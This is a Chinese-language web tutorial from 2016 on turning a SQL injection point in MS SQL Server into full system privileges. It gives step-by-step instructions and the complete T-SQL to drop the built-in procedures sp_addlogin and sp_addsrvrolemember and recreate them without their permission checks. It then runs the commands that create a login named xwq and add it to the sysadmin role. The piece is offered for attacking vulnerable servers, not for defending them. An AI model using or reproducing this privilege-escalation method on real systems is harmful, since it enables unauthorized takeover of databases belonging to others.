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msSQL注入通殺,只要有注入點就有系統權限
編輯:AJAX詳解      日期:2016/12/30 17:55:18
不知道大家看過這篇文章沒有,可以在db_owner角色下添加SYSADMIN帳號,這招真狠啊,存在MSSQL注射漏洞的服務器又要遭殃了。方法主要是利用db_owner可以修改sp_addlogin和sp_addsrvrolemember這兩個存儲過程,饒過了驗證部分。具體方法如下:先輸入drop procedure sp_addlogin,然後在IE裡面輸入create procedure  sp_addlogin
    @loginame  sysname
   ,@passwd         sysname = Null
   ,@defdb          ; ; sysname = 'master'      -- UNDONE: DEFAULT

CONFIGURABLE???
   ,@deflanguage    sysname = Null
   ,@sid   varbinary(16) = Null
   ,@encryptopt  varchar(20) = Null
AS
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
 set nocount on
 Declare @ret    int    -- return value of sp call
   
    -- DISALLOW USER TRANSACTION --
 set implicit_transactions off
 IF (@@trancount > 0)
 begin
  raiserror(15002,-1,-1,'sp_addlogin')
  return (1)
 end

    -- VALIDATE LOGIN NAME AS:
    --  (1) Valid SQL Name (SQL LOGIN)
    --  (2) No backslash (NT users only)
    --  (3) Not a reserved login name
 execute @ret = sp_validname @loginame
 if (@ret <> 0)
        return (1)
    if (charindex('\', @loginame) > 0)
    begin
        raiserror(15006,-1,-1,@loginame)
        return (1)
    end

 --Note: different case sa is allowed.
 if (@loginame = 'sa' or lower(@loginame) in ('public'))
 begin
  raiserror(15405, -1 ,-1, @loginame)
  return (1)
 end

    -- LOGIN NAME MUST NOT ALREADY EXIST --
 if exists(select * from master.dbo.syslogins where loginname =

@loginame)
 begin
  raiserror(15025,-1,-1,@loginame)
  return (1)
 end

 -- VALIDATE DEFAULT DATABASE --
 IF db_id(@defdb) IS NULL
 begin
  raiserror(15010,-1,-1,@defdb)
     return (1)
 end

 -- VALIDATE DEFAULT LANGUAGE --
 IF (@deflanguage IS NOT Null)
 begin
  Execute @ret = sp_validlang @deflanguage
  IF (@ret <> 0)
   return (1)
 end
 ELSE
 begin
  select @deflanguage = name from master.dbo.syslanguages
  where langid = @@default_langid --server default

language

  if @deflanguage is null
   select @deflanguage = N'us_english'
 end

 -- VALIDATE SID IF GIVEN --
 if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
 begin
  raiserror(15419,-1,-1)
   return (1)
 end
 else if @sid is null
  select @sid = newid()
 if (suser_sname(@sid) IS NOT Null)
 begin
  raiserror(15433,-1,-1)
   return (1)
 end

 -- VALIDATE AND USE ENCRYPTION OPTION --
 declare @xstatus smallint
 select @xstatus = 2 -- Access
 if @encryptopt is null
  select @passwd = pwdencrypt(@passwd)
 else if @encryptopt = 'skip_encryption_old'
 begin
  select @xstatus = @xstatus | 0x800, -- old-style

encryption
   @passwd = convert(sysname, convert(varbinary

(30), convert(varchar(30), @passwd)))
 end
 else if @encryptopt <> 'skip_encryption'
 begin
  raiserror(15600,-1,-1,'sp_addlogin')
  return 1
 end

    -- ATTEMPT THE INSERT OF THE NEW LOGIN --
 INSERT INTO master.dbo.sysxlogins VALUES
        (NULL, @sid, @xstatus, getdate(),
             getdate(), @loginame, convert(varbinary(256), @passwd),
             db_id(@defdb), @deflanguage)
 if @@error <> 0  -- this indicates we saw duplicate row
        return (1)

 -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
 exec('use master grant all to null')

    -- FINALIZATION: RETURN SUCCESS/FAILURE --
 raiserror(15298,-1,-1)
 return  (0) -- sp_addlogin

GO

OK,我們新建個用戶exec master..sp_addlogin xwq


再drop procedure sp_addsrvrolemember,然後在IE裡輸入

 


create procedure sp_addsrvrolemember
    @loginame sysname,   -- login name
    @rolename sysname = NULL -- server role name
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
 set nocount on
 declare @ret      &nbsp; int,    -- return value of sp call
             @rolebit    smallint,
             @ismem      int

    -- DISALLOW USER TRANSACTION --
 set implicit_transactions off
 IF (@@trancount > 0)
 begin
  raiserror(15002,-1,-1,'sp_addsrvrolemember')
  return (1)
 end

   
    -- CANNOT CHANGE SA ROLES --
    if @loginame = 'sa'
    begin
        raiserror(15405, -1 ,-1, @loginame)
        return (1)
    end

    -- OBTAIN THE BIT FOR THIS ROLE --
    select @rolebit = CASE @rolename
             WHEN 'sysadmin'         THEN 16
             WHEN 'securityadmin'    THEN 32
             WHEN 'serveradmin'      THEN 64
             WHEN 'setupadmin'       THEN 128
             WHEN 'processadmin'     THEN 256
             WHEN 'diskadmin'        THEN 512
             WHEN 'dbcreator'        THEN 1024
   WHEN 'bulkadmin'  THEN 4096
             ELSE NULL END

    -- ADD ROW FOR NT LOGIN IF NEEDED --
 if not exists(select * from master.dbo.syslogins where

loginname = @loginame)
    begin
        execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
        if (@ret <> 0)
     begin
      raiserror(15007,-1,-1,@loginame)
      return (1)
     end
    end

    -- UPDATE ROLE MEMBERSHIP --
    update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,

xdate2 = getdate()
     where name = @loginame and srvid IS NULL

 -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
 exec('use master grant all to null')

 raiserror(15488,-1,-1,@loginame,@rolename)

    -- FINALIZATION: RETURN SUCCESS/FAILURE
 return (@@error) -- sp_addsrvrolemember

GO


接著再exec master..sp_addsrvrolemember xwq,sysadmin
這樣就建立了一個SA用戶了,用SQL連接器連接上就OK了。很爽吧。不過在實踐過程中發現用NB的SQL命令執行時會提示發送錯誤,可能是代碼太長了的緣故,用IE又不方便,希望哪位能發個執行SQL語句的工具來方便大家。OK,到此結束
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